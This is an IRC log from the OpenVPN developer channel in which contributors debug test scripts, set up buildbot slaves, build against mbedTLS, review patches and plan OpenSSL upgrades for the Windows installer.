<@cron2> look at the set of tests in the first few lines 07:00 <@mattock> cron2: yes, something like that, and definitely store the results in a file separate from t_client.rc 07:00 <@cron2> well, the sed line needs to be "", of course 07:00 <@cron2> $ ifconfig -a |fgrep $PREFIX | sed -e "s/^.*$PREFIX/$PREFIX/" -e 's/ .*$//' 07:00 <@cron2> 10.194.4.255 07:00 <@cron2> meh 07:00 <@plaisthos> Password:cat: ../tests/t_client-pan.blinkt.de-20160930-135627/openvpn-2a.pid: No such file or directory 07:01 <@plaisthos> bug in the script or my fault? 07:01 <@cron2> sudo not permitting openvpn again? 07:01 <@plaisthos> no manual make check 07:01 <@cron2> you're not in sudoers? 07:01 <@plaisthos> openvpn does not start because ../tests/... should be ./tests/... 07:02 <@cron2> no, it's running inside tests - so the "../tests/" is actually a noop 07:02 <@plaisthos> oh okay 07:02 <@plaisthos> no 07:02 <@plaisthos> not really 07:02 <@cron2> it's not started because "sudo openvpn ... &" is asking for your password from the background 07:02 <@plaisthos> either src/openvpn/openvpn or ../tests is wrong 07:03 <@cron2> don't get hung up on paths :) - the "Password:" bit is the more suspicious part here 07:05 <@cron2> mattock: set PREFIX=10.194.3. (for example) and use that 07:06 <@cron2> $ ifconfig -a | awk '{ for( i=1;i<NF;i++) { if ($i ~ /'$PREFIX'/) { print $i; exit; }}}' 07:06 <@cron2> this is portable across everything that has a CPU :) 07:07 <@cron2> not *exactly* pretty, but test drivers need to be portable and robust first :) 07:09 <@plaisthos> okay 2a runs okay now 07:09 <@cron2> then 2c should be fine as well, it's just copying the EXPECT (in my default config) :) 07:10 < slypknot> i want to setup gentoo as buildslave next .. what would be the preferred account name, i have something like: tincan-gentoo-2016-x86_64 .. is there something better ? 07:12 <@plaisthos> cron2: nope 07:12 <@plaisthos> Fri Sep 30 14:06:11 2016 Socket Buffers: R=[196724->196724] S=[9216->9216] 07:12 <@plaisthos> Fri Sep 30 14:06:11 2016 UDPv6 link local: (not bound) 07:12 <@plaisthos> Fri Sep 30 14:06:11 2016 UDPv6 link remote: [AF_INET6]2607:fc50:1001:5200::4:51194 07:12 <@plaisthos> Fri Sep 30 14:06:41 2016 event_wait : Interrupted system call (code=4) 07:12 <@plaisthos> Fri Sep 30 14:06:41 2016 SIGTERM[hard,] received, process exiting 07:12 <@plaisthos> but ipv6 seems to be broken 07:18 <@mattock> slypknot: if you intend to keep Gentoo up-to-date at all times, then "tincan-gentoo-x86_64" would probably be best 07:18 <@mattock> as the year would not matter much after a while 07:20 < slypknot> thanks, I certainly would prefer to keep it upto date 07:25 <@cron2> plaisthos: well, that's a different brokenness than "EXPECT_ not right" - this is more like "ipv6 udp not getting anywhere" 07:25 <@cron2> t_client assumes working IPv6 transport :) - if not available, just disable the tests that explicitely request "udp6" (2c) 07:25 <@cron2> maybe one of the 1<x> series as well 07:25 <@plaisthos> it seems that brokeness is kvm related 07:27 <@plaisthos> I can ping6 kvm machines on the same host 07:27 <@plaisthos> I can ping6 the machine 07:27 <@cron2> huh 07:27 <@plaisthos> but the machine itself cannot ping 07:28 <@cron2> firewall stuff? 07:29 <@plaisthos> very unlikely 07:29 <@plaisthos> I don't even see the icmp6 requests on the physical host 07:39 <@plaisthos> just for fun, can anyone of you try to ping 2001:638:502:390:5054:ff:fe95:dd3b? 07:40 < Thermi> works 07:41 <@plaisthos> great whatever is broken there 07:41 < Thermi> Err https://bpaste.net/show/9471f78643fe 07:41 < Thermi> ip6tables rules? :) 07:43 <@plaisthos> on os x? 07:43 <@plaisthos> unlikely :p 07:44 < Thermi> ah, k. 07:44 <@plaisthos> seems like privacy ips don't work ... 07:46 < slypknot> sorry: one more question, mbedtls for bbslave .. reading this: https://tls.mbed.org/kb/compiling-and-building/how-do-i-build-compile-mbedtls .. I presume i need to build shared lib .. but what then ? 07:46 <@vpnHelper> Title: How do I build and compile mbed TLS - Knowledge Base (at tls.mbed.org) 07:46 <@plaisthos> so no idea why ipv6 temporary addresses don't work with kvm/qemu but I don't care 07:46 <@plaisthos> disabling them works ... 07:53 <@dazo> plaisthos: is there a reason why USB tethering doesn't work when your OpenVPN client is running? 08:01 <@plaisthos> dazo: android <4.3? 08:01 <@plaisthos> or android >= 4.4? 08:01 <@cron2> slypknot: unpacking, "make, make install" should normally do the job - but is there no debian package for it already? 08:02 <@plaisthos> for andrid < 4.3 adding 192.168.42.0/21 to the exception list might work 08:02 <@plaisthos> for >=4.4 it should work 08:02 <@plaisthos> (the packets that should go back to the tethered client end up in the tunnel) 08:05 <@dazo> plaisthos: 5.1.1 08:05 <@dazo> I'm on CM12.1 08:06 <@plaisthos> then probably cyanogenmod fuckup but you might try the 192.168.42.0 stuff 08:06 <@dazo> I'll try to do that! 08:07 <@plaisthos> (your tethred devices should have a 192.168.42.x address) 08:07 <@plaisthos> unless cm decided to change the range 08:07 <@dazo> I see the USB interface on my laptop got that range .... btw ... when having "Use default Route" enabled, I can't add Excluded Networks .... 08:08 <@plaisthos> err just disable that option 08:08 <@plaisthos> and add 0.0.0.0/0 to routes 08:08 <@dazo> which is what I did ;-) 08:12 <@plaisthos> mattock, cron2: what tests should I include for a buildbot, cron2's config had only 2a and 2c enabled to test multi I guess 08:13 <@cron2> for a basic test, "1 2 3 4 5 6" 08:13 <@cron2> if there are code parts that we've been breaking again and again, those subtests (like, 2a and 2c = --multihome with udp4/udp6) 08:13 <@plaisthos> so TEST_RUN_LIST="1 1a 1b 1c 1d 2 2a 2b 2c 2d 3 4 4a 5 6" 08:13 <@plaisthos> ? 08:13 <@cron2> nothing wrong with "all of them, all the time"... :) 08:13 <@cron2> yes 08:14 <@plaisthos> 8 and 9 are static key tests, right? 08:14 <@dazo> plaisthos: hmmm .... so there are some issues .... I do have "partial" network connectivity with that exclude .... but it is not looking good, lots of packet loss ... https://paste.fedoraproject.org/439063/75241017/ 08:14 <@cron2> this is the "all I've been able to think up so far" list :) 08:14 <@cron2> 8+9 are p2p tests (with TLS / with --inetd) and those break if two clients run at the same time, so not suitable for buildbot 08:14 <@dazo> plaisthos: after icmp packet 49 I disconnect the VPN on the mobile phone and the traffic flows smoothly 08:15 <@plaisthos> --dev tun3 08:15 <@plaisthos> any reason for that in the config? 08:15 <@dazo> cron2: the p2p tests could run on just one of the build slaves 08:15 <@plaisthos> that will force os x clients to use the old non utun driver 08:18 <@cron2> dazo: they do (on my "test before push" machine) :) 08:18 <@dazo> :) 08:19 <@cron2> plaisthos: well, on other platforms there's distinct code paths for "--dev tun" and "--dev tun3", and we want to test both 08:19 < slypknot> cron2: make install .. while not documented does appear to have done the trick .. just successfully completed ./configure --with-crypto-library=mbedtls --enable-crypto against 2.3_git .. thanks ;-) 08:19 <@cron2> on OSX, it might make sense to actually run them, so we know the code path would still work (if someone really wants to use it) 08:19 <@cron2> slypknot: cool :) 08:30 < slypknot> other than IPv6 I think that buildbot-debian85 is complete 08:31 < slypknot> Can I add myself to https://community.openvpn.net/openvpn/wiki/SettingUpBuildslave#Listofexistingbuildslaves ? 08:31 <@vpnHelper> Title: SettingUpBuildslave – OpenVPN Community (at community.openvpn.net) 08:34 <@cron2> skypknot: so, IPv6 next :) - but of course, put yourself in 08:38 < slypknot> cron2: I have to discuss IPv6 with my ISPs .. I have two I can try 08:43 <@dazo> slypknot: I'm not 100% sure, but I believe cron2 primarily thought of IPv6 inside the tunnel ... even though it would be wonderful to test the IPv6 transport layer as well (which would require somewhat some ISP support) 08:48 < slypknot> dazo: i thought tests 6a etc were IPv6 transport which I can't do yet .. but the tests run IPv6 inside the tunnel, no ? 08:49 <@cron2> dazo: inside and outside, of course 08:49 <@cron2> some of the changes we've done had impact on "will udp6 do the right thing?", stuff like --multihome has separate code paths for v4 and v6 transport... 08:52 < slypknot> cron2: FYI, i am sure there is no mbedtls package for debian-jessie btw 08:53 <@dazo> right ... I haven't paid attention to all the various tests we do, so I didn't know we tested udp6/tcp6 08:53 <@dazo> (I'm happy we do though!) 08:54 <@cron2> dazo: your t_client.rc might need a bit spicing up ;-) 08:55 <@cron2> (if someone had time at his hands, this buildslave/t_client stuff could certainly be optimized much more - like having something on the community VPN create and distribute t_client.rc files for buildslaves, so when we add tests, we tag them as "all machines", or "not on linux" and the right slaves get the right tests... 08:56 <@cron2> ... not an bored-evening project, though...) 08:57 <@dazo> sounds like a job for ansible :-P 09:04 <@mattock> ok so a proof of concept "create EXPECT_IFCONFIG* entries on the first run" is ready 09:05 <@mattock> I thought slypknot's idea of using an --up script was good, so I did it that way 09:05 <@mattock> no nasty parsing of ifconfig/ip/diff and no external dependencies 09:05 <@mattock> the EXPECT lines are stored into a separate file, and only if the variables are unset, will they get updated 09:07 <@mattock> <10 lines of new code, including the --up script 09:07 <@mattock> this will allow removal of all EXPECT_IFCONFIG* lines from t_client.rc, because the lines will be generated automatically anyways 09:08 <@mattock> I'll take a diff of the thing and put it somewhere 09:11 <@cron2> mattock: --up is not good 09:11 <@cron2> it will interfere with tests actually testing --up functionality - which we do not have today, but we should be able to test these aspects as well 09:12 <@mattock> --up is only added if EXPECT_IFCONFIG4_<n> is not found, not in the general case 09:13 <@mattock> anyways, I will make a diff and we can take the discussion forward from there 09:14 * cron2 wonders if there are corner cases where it will backfire, but it might just work 09:15 <@mattock> there is one corner case: right now, EXPECT_IFCONFIG4_<n>a/b/c/d reuse EXPECT_IFCONFIG4_<n> in t_client.rc 09:16 <@mattock> when EXPECT_IFCONFIG4_<n> is removed from t_client.rc, the <n>a/b/c variants will start failing 09:16 <@mattock> unless the file with EXPECT_IFCONFIG4_<n> is included, which may be doable if the path can be figured out easily 09:19 <@cron2> oh, good point. Maybe source up front, and only append to local copy 09:20 <@cron2> like 09:20 <@cron2> test -f t_client.rc.local && . ./t_client.rc.local 09:21 <@cron2> then these tests would fail on the first run, but succeed later... 09:22 <@mattock> http://pastebin.com/LDFWWmax 09:23 <@mattock> alternatively we could just remove all the EXPECT_IFCONFIG* lines and let them be generated dynamically 09:23 <@mattock> I believe the a/b/c/d variants would be generated using the same logic 09:23 <@mattock> or source the t_client_ips.rc file in t_client.rc 09:24 <@cron2> this is what I was thinking about, yes 09:24 <@cron2> then we might have corner cases where only v4 or v6 is configure'd - which we can define right now by just having an empty EXPECT_IFCONFIG_ for that family (I think) 09:25 <@cron2> but we could flag that with "none" if really needed... 09:25 <@mattock> anyways, got to do other stuff now 09:26 <@mattock> I tested the patch I linked to by removing all EXPECT_IFCONFIG_* lines from t_client.rc, and it generated the files just fine 09:27 <@mattock> did not have time for thorough testing, but this functionality would greatly simplify t_client.rc management (and automation in particular) 10:11 < slypknot> mattock: when you get time if you can create slave-tincan-gentoo-amd64/password and let me know via PM .. I am simply migrating the files I have to gentoo and will manually fill in EXPECT when available 11:22 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 272 seconds] 11:25 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 11:25 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 11:58 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Connection reset by peer] 12:03 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 12:03 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 13:08 <+krzee> !git 13:08 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://git.code.sf.net/p/openvpn/openvpn, or (#2) For the development git tree: git://git.code.sf.net/p/openvpn/openvpn-testing, or (#3) Browse the git repositories here: http://sourceforge.net/p/openvpn/openvpn-testing/ci/master/tree/, or (#4) See !git-doc how to use git, or (#5) git troubles? http://justinhileman.info/article/git-pretty/git- 13:08 <@vpnHelper> pretty.png, or (#6) for the windows TUN/TAP driver repo, look at !tapdrvr, or (#7) http://xkcd.com/865/ 13:13 <+krzee> !forget git 5 13:13 <@vpnHelper> Joo got it. 13:14 <+krzee> !learn git as git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png 13:14 <@vpnHelper> Joo got it. 13:30 <+krzee> when compiling git master which version of mbed tls should i use? 13:31 <+krzee> and git://git.code.sf.net/p/openvpn/openvpn-testing is master, right? 13:32 <+krzee> ill be trying with https://tls.mbed.org/download/start/mbedtls-2.3.0-apache.tgz unless told otherwise 13:32 <@vpnHelper> Title: Download starting for mbedtls-2.3.0-apache.tgz - mbed TLS (Previously PolarSSL) (at tls.mbed.org) 13:38 < slypknot> krzee: I have been using https://tls.mbed.org/download/mbedtls-2.3.0-gpl.tgz 13:38 < slypknot> seems to work 13:39 < slypknot> gpl not apache 13:42 <+krzee> thanks 13:43 < slypknot> cmake CMAKE_BUILD_TYPE:STRING=Release . 13:44 < slypknot> && make 13:44 < slypknot> make install 13:46 <@cron2> krzee: FreeBSD ships 2.3.0_1 (as pkg) and that works nicely 13:53 <+krzee> thanks 13:54 <+krzee> https://paste.ee/p/BRdQN 13:54 <+krzee> i have autoconf and automake 13:55 < slypknot> libtool 13:55 <+krzee> thanks 13:59 <+krzee> should i be concerned about the warning? https://paste.ee/p/ZXLQH 14:00 < slypknot> subdir .. dont worry about it 14:09 <+krzee> im hoping that a compile on a raspberry pi will work on a very different arm machine 14:09 <+krzee> we'll see! 14:10 < slypknot> good luck :) 14:10 <+krzee> thanks! 14:32 <+krzee> https://paste.ee/p/SDVd7 14:34 <+krzee> grr nevermind i didnt follow your directions right, starting over on mbedtls 14:35 < slypknot> no .. i get the same error ! 14:35 < slypknot> krzee: 14:35 < slypknot> ^^ 14:35 <+krzee> oh damn 14:36 < slypknot> indeed 14:36 < slypknot> i am not sure what to do with that 14:37 <+krzee> i didnt run the cmake command the first time, i had already ran make and it seemed fine 14:37 < slypknot> cron2: little help ? 14:37 <+krzee> so now i am, i guess it wont help but i went back and did it anyways 14:37 < slypknot> krzee: on the mbedtls webpage they recommend cmake 14:39 <+krzee> ecrist: i really think chapter 3 in your book should use git master and mbedtls, since its more relevant for the future instead of the final version using "polarssl" 14:43 <+krzee> so ya, same error 14:45 < danhunsaker> Looks like it's missing a header file somewhere. 14:47 < danhunsaker> Amusing that the error comes up while compiling to error.o though. :-D 14:52 <+krzee> a little bit 15:00 <+krzee> well i installed from apt-get to see if that binary would work, since if not theres not much more reason for me to continue 15:00 <+krzee> -bash-3.2# ./openvpn-arm2 15:00 <+krzee> -bash: ./openvpn-arm2: No such file or directory 15:00 <+krzee> -rwxr-xr-x 1 root root 476764 Sep 30 19:56 openvpn-arm2 15:01 <+krzee> so i guess it wont work anyways 15:02 <+krzee> i was building on arm7 then taking it to arm6, i guess maybe that dont work 15:28 <+krzee> but the raspberry pi 1 was arm6, so now im getting my hands on access to one hopefully 15:29 < slypknot> mattock, cron2 .. gentoo buildslave appears to be connect to master .. if you would be so kind to kick off a build, thanks 16:41 <@vpnHelper> RSS Update - tickets: #745: 1 byte overread in mss_fixup_dowork <https://community.openvpn.net/openvpn/ticket/745> --- Day changed Sat Oct 01 2016 05:43 < slypknot> quiet today 06:20 < slypknot> krzee: roll back to https://tls.mbed.org/download/start/mbedtls-2.2.1-gpl.tgz i just built with mbedtls ok :) 06:20 <@vpnHelper> Title: Download starting for mbedtls-2.2.1-gpl.tgz - mbed TLS (Previously PolarSSL) (at tls.mbed.org) 07:34 < slypknot> mattock: cron2 Anybody ! :) 08:37 < lev__> syzzer: about PUSH_REPLY issue - your patch was in my inbox but not on the list, tested and forwared with ACK to there 08:52 <@cron2> lev__: could you bounce syzzer's mail to the list, so I have the original mail too? 09:10 < lev__> cron2: should be now on the list with patch 09:13 < lev__> hm, actually I forwarded it to the list. Is it what you've meant? 09:16 < lev__> https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg12584.html 09:16 <@vpnHelper> Title: [Openvpn-devel] Fwd: [PATCH] Fix duplicated PUSH_REPLY options (at www.mail-archive.com) 10:27 <@cron2> lev__: no, bounce, as in "re-send with original headers" (so the From: is still syzzer) 11:52 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 272 seconds] 11:57 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 11:57 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 12:02 < ValdikSS> Wrote DNS fake→real mapper, works fine 12:03 < Thermi> ValdikSS: Garbage collector works, too? 12:11 < ValdikSS> Thermi: not yet, just dynamic mapping without purging records 12:12 < Thermi> ValdikSS: What programming language did you use? 12:12 < ValdikSS> Thermi: python3 12:12 < Thermi> ValdikSS: Nice. 12:12 < ValdikSS> Thermi: https://antizapret.prostovpn.org/antizapret2.ovpn if you want to try. 12:12 < ValdikSS> Thermi: open any website from this list https://antizapret.info/ 12:12 <@vpnHelper> Title: Реестр запрещенных сайтов (at antizapret.info) 12:13 < Thermi> ValdikSS: I appreciate the offer, but I am quite busy right now. I'm writing/editing articles on the strongSwan wiki. :) 12:14 < ValdikSS> Thermi: that's a good work 12:19 < Thermi> ValdikSS: current work status on describing authentication via raw RSA or ECDSA keys with strongSwan. https://bpaste.net/show/99a780b1dd8b 12:27 < danhunsaker> ValdikSS: Any interest in popping that on, say, GitHub? It sounds really interesting, and might be useful for some projects of my own at some point... 12:32 < ValdikSS> danhunsaker: probably, not sure yet. Right now some things are a bit of hard coded, when I make the code shiny I'll publish it 12:33 < ValdikSS> danhunsaker: Thermi: by the way, this can be done with NAT64 and DNS64 too 12:33 < Thermi> ValdikSS: Well, probably by repurposing those implementations, but that would not go under those terms then. 12:39 < danhunsaker> I'd be tempted to do it as a 46 implementation, myself. A v6 subnet has a lot more room to work with. 12:46 <@cron2> danhunsaker: I was about to suggest that :-) (we use that at work for a customer-service VPN - IPv6 /96 on our end, "the whole 32bit space of IPv4" on theirs) 12:46 <@cron2> but this only works if you can control the client side apps, and ensure they do v6-only 12:49 < danhunsaker> In this case, you're controlling the DNS results, so they'll only ever get v6 addresses in the first place. 12:50 < ValdikSS> cron2: yep. In my case clients would connect to OpenVPN on their routers, so we should push them subnetworks which is not very convenient for me 13:08 <@cron2> danhunsaker: good point :) 13:09 <@cron2> (but it might still break some stupid program a client wants to use which is v4-only, and will break when exposed to DNS64/NAT64 - less an issue in mobile, more so on stupid PC things) 13:27 < danhunsaker> Bah. Let 'em flail. 13:28 < danhunsaker> That said. It wouldn't be too tricky to allocate v4 slots when requests come in specifically for A records... 14:09 < slypknot> cron2: all 4 bbslaves should be ready to get EXPECT'd if you can kick off a build .. thanks 14:18 <@cron2> you've been busy :) 14:19 < slypknot> hopefullu to good end ;) 14:20 <@cron2> kicked 'em all 14:20 < slypknot> yup .. watching 14:21 < slypknot> have to balance hyper-v a bit nicer in time 14:34 <@mattock> slypknot: triggered builds on centos, arch and gentoo 14:34 <@mattock> ah, missed the backlog 14:34 <@mattock> anyways, second builds started 14:44 < slypknot> it seems to have all gone 'pete tong' .. not sure why yet .. there are no directories in build/tests on any new slaves 14:45 < slypknot> the only thing i can guess is that i called the bb-slave user 'bbslave' not buildbot .. but i renamed the variables in buildbot.tac for all 14:50 < slypknot> well .. forgot fping, installing now 14:51 < slypknot> but i don't think that is the real problem 15:08 < slypknot> cannot see anything other than missing fping .. which is now installed on all three (was already done for debian) 15:14 < slypknot> any info on the master ? 15:26 < slypknot> it looks like none of the slaves tried to start any vpns .. 15:31 < slypknot> something wrong with sudoers.d 15:31 <@cron2> ./t_client.sh: cannot find 't_client.rc' in build dir ('..') 15:31 <@cron2> ./t_client.sh: or source directory ('.'). SKIPPING TEST. 15:32 <@cron2> it will search in /home/buildbot/ for these files... 15:35 < slypknot> oh dear .. i used /home/nnslave 15:35 < slypknot> /home/bbslave 15:36 < slypknot> i changed t_client.rc : 15:36 < slypknot> if [ -z "$KEYBASE" ] ; then 15:36 < slypknot> KEYBASE="/home/bbslave" 15:37 < slypknot> fi 15:40 < slypknot> also openvpn/buildbot.tac : basedir = '/home/bbslave/openvpn' 15:43 < slypknot> hmm .. permission denied ! 15:43 <@cron2> I think the /home/buildbot part is hardwired on the master... not supposed to be changed 15:43 <@cron2> (for the "where do I find t_client.rc" part) 15:44 < slypknot> ok 15:44 < slypknot> i'll try again 15:45 < slypknot> cherrz 15:48 < slypknot> cron2: i guess i'll redo this tomorrow .. thanks for letting me know 15:55 < slypknot> cron2: if you are still around .. it looks like there is a sort of incompatibility with gentoo buildbot-slave and openvpn builbot .. portage automatically creates a buildbot user with :nologin (which is why i moved to bbslave id) .. i guess I can edit the user but I question why gentoo would do it this way before I change anything 16:00 < slypknot> if /ome/buildbot is hhardcoded into buildmaster tis could be annoying 16:50 < slypknot> .. 16:52 < slypknot> i changed all necessary users/dirs etc to buildbot .. keft them running and connected .. please run one build for me when you can and I will check later or tomoz ,, thanks --- Day changed Sun Oct 02 2016 05:19 < slypknot> morning 05:19 < slypknot> can I get a build triggered please 05:41 <@cron2> trigger 05:42 < slypknot> thanks 05:45 < slypknot> appears to be working better now 05:47 < slypknot> looks like i have enough to get all EXPECT sort .. be back soon 05:54 < slypknot> this is very confused .. eg: 05:54 < slypknot> # src/openvpn/openvpn --client --ca /home/bbslave/test-ca.crt 05:54 < slypknot> noye: bbslave/test-ca 05:54 < slypknot> not buildbot 05:55 < slypknot> got it 05:55 < slypknot> t_client.rc edits 06:03 < slypknot> & forgot sudo 06:13 < slypknot> ok .. firgers X'd .. I checked all sodoers.d / t_client.rc / buildbot.tac .. restarted all buildbots .. please try again :) 06:26 <@cron2> debian-85 is actually ok, except for test 6 (please just comment out for the time being) 06:26 <@cron2> restarted the other ones 06:26 < slypknot> ok 06:31 < slypknot> gentoo & arch look good .. centos7 may have selinux problem atm 06:34 < slypknot> gentoo & arch seem to get the same IP for test 1 10.194.1.118 06:35 < slypknot> and test 2 10.194.1.122 06:35 < slypknot> and test 3 10.194.1.23 06:37 < slypknot> and test 4 .. all the same IPs as debian85 06:37 <@cron2> are you using the same cert? 06:37 < slypknot> does that sound right ? 06:38 <@cron2> same cert = same IP... - so for the t_client VPN, each buildslave need to have its own cert 06:38 < slypknot> ah .. i thought it was done by username 06:38 < slypknot> mattock has not sent me unique certs 06:38 <@cron2> there is no username sent in t_client config :) - *that* is community VPN 06:38 < slypknot> right !! 06:39 <@cron2> mattock: please roll moar certs for slypknot... 06:39 < slypknot> so i need to get these from mattock ? 06:39 < slypknot> lol 06:39 < slypknot> thanks cron2 08:48 <@cron2> so, patch for plaisthos is on the list :) 10:38 <@cron2> lev__: looking at syzzer's patch as well - clever buy, just reusing that nice little feature I added ;-)) 10:39 <@cron2> s/buy/boy/ *selfslap* 10:43 < danhunsaker> Eh, buy works, too. Differently, but it works. 10:51 <@cron2> hrhr, indeed 10:53 < lev__> cron2: indeed. Btw, why there is safe_cap for push_reply in the first place? Is it a requirement of underlying control channel? 10:54 <@cron2> lev__: that is james taking the easy approach "we'll always leave room so ifconfig will fit" 10:54 <@cron2> (while I weaseled out and put ifconfig-ipv6 always first) 12:52 <@vpnHelper> RSS Update - tickets: #746: replace WIN32 with _WIN32 <https://community.openvpn.net/openvpn/ticket/746> 21:21 -!- krzie [d5981302@openvpn/community/support/krzee] has joined #openvpn-devel 21:21 -!- mode/#openvpn-devel [+v krzie] by ChanServ 21:22 -!- krzie [d5981302@openvpn/community/support/krzee] has quit [Client Quit] --- Day changed Mon Oct 03 2016 02:55 <@syzzer> cron2, lev__: whoops, sorry for mixing up reply/reply-all 02:57 <@syzzer> I realized the 'memory leak', but estimated it wasn't too bad, and definitely not worse than it is now. So just got this patch out, because it does provide a clean fix for the issue. 02:57 <@syzzer> ... and I might have been in a bit of a hurry ;) 04:08 < lev__> I would like to implement cron2's suggestion about splitting options into 2 lists, but maybe we could merge existing version as a "hot fix" 04:08 <@cron2> syzzer: I'm fine merging what we have now (which leaks no worse than the previous version, so it certainly is not introducing the leak) 04:08 <@cron2> and then lev__ can have a go at splitting things 04:09 <@cron2> syzzer: can you (if you haven't already, have not read e-mail) bounce your original mail to the list? threading will work, so Lev__'s reply will then be a proper "reply" :) 06:12 <@syzzer> cron2: yeah, I will bounce the mail 06:39 <@mattock> I'm building a new Windows installer bundle with openssl 1.0.1u now 06:39 <@mattock> this would be fairly uneventful, except that we still don 06:39 <@mattock> dont have SHA1 code signing certs, so Windows XP will complain about unknown publisher 06:49 <@mattock> based on digicert documentation (https://www.digicert.com/code-signing/code-signing-dual-signing-sha256-sha1.htm) it should be possible to get a SHA1 code-signing certificate 06:49 <@vpnHelper> Title: Dual Signing w/ SHA256 & SHA1 CS Certificates | DigiCert (at www.digicert.com) 06:49 <@mattock> I'll ask raidz to rekey, so that XP does not break 07:20 <@mattock> updated Vista+ installers out 07:27 <@mattock> hmm, we should start moving to 1.0.2 (or 1.1.x) soonish: 07:27 <@mattock> "As per our previous announcements and our Release Strategy (https://www.openssl.org/policies/releasestrat.html), support for OpenSSL version 1.0.1 will cease on 31st December 2016." 07:27 <@vpnHelper> Title: /policies/releasestrat.html (at www.openssl.org) 07:27 <@mattock> not that many months to go 07:31 <@plaisthos> mattock: for the windows installer? 07:34 < slypknot> Morning all :) I have installed correct client cert/keys for buildbots if somebody could kick off a build for test/EXPECT please 07:35 <@syzzer> cron2: "held for moderation" (because of the missing To: openvpn-devel@...) 07:39 <@syzzer> mattock: 2.3.x will most likely never support 1.1.x, so 1.0.2 is the safe bet for now :) 07:45 <@dazo> mattock: maybe consider to build the RHEL/CentOS openssl-1.0.1 packages for windows (rpmbuild -bp openssl*.src.rpm unpacks everything) .... those will at least get security fixes far longer than what upstream openssl is going to provide 07:46 <@dazo> duh ... rpm -hvi openssl*.src.rpm; cd ~/rpmbuild/SPECS/ ; rpmbuild -bp openssl.spec 07:47 <@dazo> might even find some prebuilt cygwin/wine/mingw packages in Fedora too .... not sure how up-to-date those are though 07:49 <@mattock> plaisthos: yes, for windows installers 07:49 <@mattock> are openssl 1.0.1 and 1.0.2 API-compatible? 07:49 <@dazo> those should be, yes 07:49 <@plaisthos> yes 07:49 <@plaisthos> oepnvpn for android also uses 1.0.2 07:51 <@syzzer> 2.3.x should work without problems with ossl 1.0.2 07:51 <@syzzer> this is what I usually develop for, and then backport to 1.0.1/1.0.0/0.9.8 if needed 07:52 <@dazo> ahh, I misread mattock's release strategy comment ... I read 1.0.2 would be deprecated too, it will not 07:52 <@syzzer> no, 1.0.2 is the LTS version 07:53 <@dazo> 1.0.2 makes perfect sense then 07:58 <@dazo> we should probably plan for a meeting soon to, to get the 2.4 ball rolling again 08:17 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Quit: Ciao] 08:18 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 08:18 -!- mode/#openvpn-devel [+o dazo] by ChanServ 08:36 <@mattock> +1 for meeting 08:59 <@ecrist> krzee: re: polarssl, when I wrote it, there were still some compile issues wrt to the naming change, which is why it uses the version that it does. 11:30 < slypknot> I have now extracted the EXPECT values myself .. all 4 bots should be ready to go for real, if somebody can start a build please 11:36 < slypknot> cron2: I think 6 may be failing on compression stub 12:00 <@mattock> slypknot: I triggered builds on all of your buildslaves 12:18 <@mattock> slypknot: arch fails at t_client test 6, but seems ok with 1-5 12:19 <@mattock> centos 7 fails with "sudo: sorry, you must have a tty to run sudo" 12:20 <@mattock> gentoo might have wrong IPs in t_client.rc, or it might be a sudo problem 13:24 < slypknot> buildmaster demands /home/buildbot dir for files but does it demand buildbot as slave username ? 13:44 <@cron2> slypknot: that does not make sense (compression stub), since it works if you run the same thing manually, *and* it works for one of the IP protocols - compression failure would affect all protocols and all packet sizes 13:46 <@mattock> slypknot: the system username for the buildslave can be whatever 13:46 <@mattock> the buildslave just needs to access files under /home/buildbot 13:53 < slypknot> thanks 15:30 < slypknot> mattock: can you please try cos7 & gentoo one more time 15:45 < slypknot> cron2: yes, the cause was not commpression stub, it was my mistake for not including --fragment after --port option 15:49 < slypknot> is test 6 meant to push "fragment 500" ? because it does .. 20:46 < xeed> \ --- Day changed Tue Oct 04 2016 01:27 <@vpnHelper> RSS Update - gitrepo: Make sure options->ciphername and options->authname are always defined <https://github.com/OpenVPN/openvpn/commit/348c416face9a025b618ebcae9d3a74c5a4a242b> || enable "--disable-crypto" build configuration for travis <https://github.com/OpenVPN/openvpn/commit/0c72e29c990a766e6952455d23151dabf79ed22b> || Fix t_client runs on OpenSolaris <https://github.com/OpenVPN/openvpn/commit/38f98fdccd3eb6995b972fabb0ce4e00d3 02:15 <@cron2> slypknot: fragment is not pushable, but I did not know that when setting up the server side :) - so the client command line needs to contain --fragment 500 03:44 <@plaisthos> mattock: the client ip patch works fine for me. I removed all EXPECT_INFCONFIG lines from my config and it is now regenerating them 03:45 <@cron2> cool 03:58 <@plaisthos> cron2: 1b fails for me 03:58 <@plaisthos> ail -5 1b:openvpn.log 03:58 <@plaisthos> Tue Oct 4 10:33:39 2016 HTTP proxy returned: 'HTTP/1.0 403 Forbidden' 03:58 <@plaisthos> Tue Oct 4 10:33:39 2016 HTTP proxy returned bad status 03:58 <@plaisthos> Tue Oct 4 10:33:39 2016 SIGUSR1[soft,init_instance] received, process restarting 03:59 <@cron2> are you talking to my proxy, or yours? 03:59 <@plaisthos> I did not change anything 03:59 <@plaisthos> so probably yours ;) 04:00 <@plaisthos> okay then I have to remove 1b or setup my own proxy 04:00 <@cron2> you'll need to disable most of the "1<x>" tests, I think, or point to a local http/socks proxy 04:00 <@cron2> the full set has http and socks proxy tests 04:09 <@plaisthos> okay pan should have now only working tests left! :) 04:12 <@cron2> cool :) 04:12 <@cron2> while you're at looking at t_client stuff, can you review my kill move one as well? 04:12 <@cron2> then I can merge both and send the buildbots spinning :) 04:14 <@plaisthos> okay :) 04:14 <@plaisthos> did that 04:15 <@plaisthos> just rebooting the os x machine for a safari update (*sigh*) 04:15 <@cron2> talking about closely integrated HTML components... 04:16 <@cron2> (but most likely this is easier than explaining to users "please close and restart your browser") 04:17 <@plaisthos> installed 